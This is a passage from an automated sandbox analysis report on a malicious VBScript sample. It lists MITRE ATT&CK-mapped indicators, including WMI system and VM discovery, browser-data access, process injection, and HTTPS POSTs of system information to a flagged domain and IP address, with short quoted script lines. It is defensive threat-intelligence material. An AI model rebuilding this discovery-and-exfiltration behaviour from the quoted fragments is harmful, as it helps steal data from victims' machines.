Awareness","description":"$24","id":"string-433","level":"informative","mitre_attack_id":"T1047","name":"Contains ability to execute a WMI query","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"kim_jong_un_is_a_fat_ugly_pig.vbs\"\n Found system information discovery API: \"localAppData = shell.ExpandEnvironmentStrings(\"%LOCALAPPDATA%\\\")\" in file \"kim_jong_un_is_a_fat_ugly_pig.vbs\"\n Found system information discovery API: \"appData = shell.ExpandEnvironmentStrings(\"%APPDATA%\\\")\" in file \"kim_jong_un_is_a_fat_ugly_pig.vbs\"\n Found system information discovery API: \"tmpPath = shell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\\" & payloadFileName\" in file \"kim_jong_un_is_a_fat_ugly_pig.vbs\"","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Able to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"System Security","description":"$25","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004736)","id":"api-294","level":"informative","mitre_attack_id":"T1082","name":"Attempts to call APIs to gather system and hardware detail","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"file/memory contains long string with (Indicator: \".setRequestHeader\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"hReq.SetRequestHeader \"Content-Type\", \"application/json\"\" (Indicator: \".setRequestHeader\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")","id":"string-623","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to set the value of an HTTP request header","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$26","id":"string-61","level":"suspicious","name":"Found an instant messenger related domain","origin":"File/Memory","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"WScript.exe\" connects to 144.172.110.53:443","id":"target-269","level":"malicious","mitre_attack_id":"T1055","name":"Windows system process connects to a network","origin":"Monitored Target","relevance":7,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$27","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00002948)","id":"api-85","level":"informative","mitre_attack_id":"T1055.004","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$28","id":"api-96","level":"suspicious","mitre_attack_id":"T1005","name":"Tries to steal browser sensitive information (file access)","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$29","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CDA8C825899D11FE5D92952D460A05B8\" has high entropy 7.51141","id":"binary-60","level":"informative","mitre_attack_id":"T1027","name":"Dropped file has high entropy (likely encrypted/compressed content)","origin":"Binary File","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$2a","id":"api-12","level":"informative","mitre_attack_id":"T1012","name":"Monitors specific registry key for changes","origin":"API Call","relevance":4,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","id":"registry-26","level":"informative","mitre_attack_id":"T1614.001","name":"Reads the windows installation language","origin":"Registry Access","relevance":2,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$2b","id":"api-64","level":"informative","mitre_attack_id":"T1059","name":"Logged script engine calls","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$2c","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Makes HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4736:304:WilStaging_02\"\n Process WScript.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\SM0:4736:120:WilError_03\"\n Process WScript.exe created mutex with name \"Local\\SM0:4736:304:WilStaging_02\"\n Process WScript.exe created mutex with name \"SM0:4736:120:WilError_03\"","id":"mutant-0","level":"informative","mitre_attack_id":"T1480.002","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$2d","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API typically used for searching a directory for files","origin":"API Call","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"file/memory contains long string with (Indicator: \" Win32_NetworkAdapter\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"Set adapItems = ObjWMI.ExecQuery(\"SELECT * FROM Win32_NetworkAdapterConfiguration\", , 48)\" (Indicator: \" Win32_NetworkAdapter\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"SELECT * FROM Win32_NetworkAdapterConfiguration\" (Indicator: \" Win32_NetworkAdapter\"; Source: \"00000000-00004736-00002714-501708044\")","id":"string-515","level":"informative","mitre_attack_id":"T1082","name":"References to WMI query strings used to retrieve network adapter information","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$2e","id":"string-55","level":"informative","mitre_attack_id":"T1047","name":"Found a reference to a WMI query string known to be used for VM detection","origin":"File/Memory","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"\"2.5.29.35\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00004736)","id":"api-296","level":"informative","mitre_attack_id":"T1497","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at E9AB0000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at E9390000","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\cda8c825899d11fe5d92952d460a05b8\"\n \"WScript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\cda8c825899d11fe5d92952d460a05b8\"\n \"WScript.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\content\\cda8c825899d11fe5d92952d460a05b8\"\n \"WScript.exe\" writes file \"%localappdata%\\ow\\microsoft\\cryptneturlcache\\metadata\\cda8c825899d11fe5d92952d460a05b8\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$2f","id":"api-207","level":"informative","mitre_attack_id":"T1140","name":"Calls an API typically used to decrypt a block of data","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" reads file \"c:\\windows\\system32\\wscript.exe\"\n \"WScript.exe\" reads file \"c:\\kim_jong_un_is_a_fat_ugly_pig.vbs\"\n \"WScript.exe\" reads file \"c:\\windows\\system32\\stdole2.tlb\"","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$30","id":"api-125","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get system version information","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","id":"registry-130","level":"informative","mitre_attack_id":"T1012","name":"Queries TCP/IP interface details","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"General","description":"\"kim_jong_un_is_a_fat_ugly_pig.vbs\" was detected as \"plain text\" and name: \"Format\"","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$31","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS url \"https://callsdk.online\"","id":"string-98","level":"informative","mitre_attack_id":"T1573","name":"Possibly tries to communicate over SSL connection (HTTPS)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$32","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"External Systems","description":"2/26 Antivirus vendors marked sample as malicious (7% detection rate)","id":"avtest-0","level":"suspicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Found User Agent(s): Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)","id":"network-22","level":"suspicious","mitre_attack_id":"T1071.001","name":"Employs a browser-related User Agent without launching browser","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"System Security","description":"$33","id":"string-847","level":"malicious","mitre_attack_id":"T1059.003","name":"Able to execute commands through Windows command interpreter (ASP)","origin":"File/Memory","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"SELECT * FROM Win32_ComputerSystem\" (Source: 00000000-00004736-00002714-499021354, Indicator: \"select * from win32_computersystem\")\n \"Select * from Win32_OperatingSystem\" (Source: 00000000-00004736-00002714-499068624, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT * FROM Win32_TimeZone\" (Source: 00000000-00004736-00002714-499412676, Indicator: \"select * from win32_timezone\")\n \"SELECT * FROM Win32_Processor\" (Source: 00000000-00004736-00002714-499468766, Indicator: \"select * from win32_processor\")\n \"SELECT * FROM Win32_NetworkAdapterConfiguration\" (Source: 00000000-00004736-00002714-501708044, Indicator: \"select * from win32_networkadapterconfiguration\")\n \"Select * from Win32_Process\" (Source: 00000000-00004736-00002714-501847794, Indicator: \"select * from win32_process\")","id":"string-16","level":"informative","mitre_attack_id":"T1213","name":"Contains SQL queries","origin":"File/Memory","relevance":2,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"General","description":"Observed system executable string:\"%WINDIR%\\system32\\version.dll\" [Source: 00000000-00004736-00000C2A-498317724]\n Observed system executable string:\"%WINDIR%\\system32\\advapi32.dll\" [Source: 00000000-00004736-00000C2A-498612573]","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows file paths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","id":"registry-20","level":"informative","mitre_attack_id":"T1012","name":"Reads Windows Trust Settings","origin":"Registry Access","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" trying to access non-existent file \"C:\\WINDOWS\\system32\\wbem\\wbemcomn.dll\"","id":"api-126","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"file/memory contains long string with (Indicator: \" Win32_Process\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"Set cpuItems = ObjWMI.ExecQuery(\"SELECT * FROM Win32_Processor\")\" (Indicator: \" Win32_Process\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"Set prclst = objWMIService.ExecQuery(\"Select * from Win32_Process\")\" (Indicator: \" Win32_Process\"; File: \"kim_jong_un_is_a_fat_ugly_pig.vbs\")\n Found string \"SELECT * FROM Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004736-00002714-499468766\")\n Found string \"Select * from Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004736-00002714-501847794\")","id":"string-513","level":"informative","mitre_attack_id":"T1057","name":"References to WMI query strings used for process discovery","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$34","id":"registry-215","level":"informative","mitre_attack_id":"T1497","name":"Observed a high volume of repeated registry API calls (API Hammering)","origin":"Registry Access","relevance":7,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" called \"WinHttp.WinHttpRequest.5.1.Send\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...\n \"WScript.exe\" called \"WinHttp.WinHttpRequest.5.1.Status\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...\n \"WScript.exe\" called \"WinHttp.WinHttpRequest.5.1.ResponseText\"\n which returned the status code \"80020009\" (The system cannot locate the resource specified) ...","id":"api-67","level":"informative","mitre_attack_id":"T1546.015","name":"Intercepted relevant COM error","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$35","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"The input sample is signed with a certificate issued by \"CN=R13, O=Let's Encrypt, C=US\" (SHA1: F2:4F:A7:61:0B:A5:E9:F9:FB:6C:ED:B6:C2:15:18:39:24:DF:9F:70; see report for more information)","id":"certificate-0","level":"informative","mitre_attack_id":"T1553.002","name":"The input sample is signed with a certificate","origin":"Certificate Data","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"22FF89586561FC2D52F77491E9F1EFF1B80BE33E\"; Value: \"\")","id":"registry-170","level":"informative","mitre_attack_id":"T1070","name":"Deletes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"System Security","description":"$36","id":"registry-19","level":"informative","mitre_attack_id":"T1112","name":"Modifies Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"The script produces internet activity. Is obfuscated and/or drops files","id":"summary-5","level":"suspicious","mitre_attack_id":"T1204.002","name":"Script file shows a combination of malicious behaviors","origin":"Indicator Combinations","relevance":7,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"General","description":"$37","id":"registry-17","level":"informative","mitre_attack_id":"T1112","name":"Accesses System Certificates Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"file/memory contains long string with (Indicator: \"ctfmon.exe\"; File: \"PCAP\")","id":"string-45","level":"suspicious","mitre_attack_id":"T1518.001","name":"May check for the presence of a forensics/monitoring tool","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 4736)","id":"api-235","level":"informative","mitre_attack_id":"T1057","name":"Queries basic information of the specified process","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$38","id":"registry-72","level":"informative","mitre_attack_id":"T1546.015","name":"Overview of unique CLSIDs touched in registry","origin":"Registry Access","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$39","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"WScript.exe\" queried SystemProcessInformation at 00000000-00004736-00000C15-497781639 [PID: 4736]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004736-00000C15-497788088 [PID: 4736]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004736-00000C15-499112154 [PID: 4736]\n \"WScript.exe\" queried SystemProcessInformation at 00000000-00004736-00000C15-499118612 [PID: 4736]","id":"api-9","level":"informative","mitre_attack_id":"T1057","name":"Queries process information","origin":"API Call","relevance":4,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Contacted Domain: \"callsdk.online\" has been identified as malicious","id":"network-88","level":"malicious","mitre_attack_id":"T1566","name":"Application communicates with a malicious domain","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Found HTTPS POST request to https://callsdk.online/info?t=3540037","id":"network-66","level":"informative","mitre_attack_id":"T1071.001","name":"Sends GET/POST requests (HTTPS)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"POST /info?t=3540037\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP web server (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$3a","id":"string-507","level":"informative","mitre_attack_id":"T1082","name":"References to WMI query strings used for information discovery","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"Observed WMI keyword:\"{impersonationLevel=impersonate}\" [Source: kim_jong_un_is_a_fat_ugly_pig.vbs]","id":"string-155","level":"informative","mitre_attack_id":"T1047","name":"Found WMI keywords in script (string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a web server","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"$3c","id":"network-57","level":"malicious","mitre_attack_id":"T1041","name":"Observed system process names in POST request","origin":"Network Traffic","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LEVELS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: 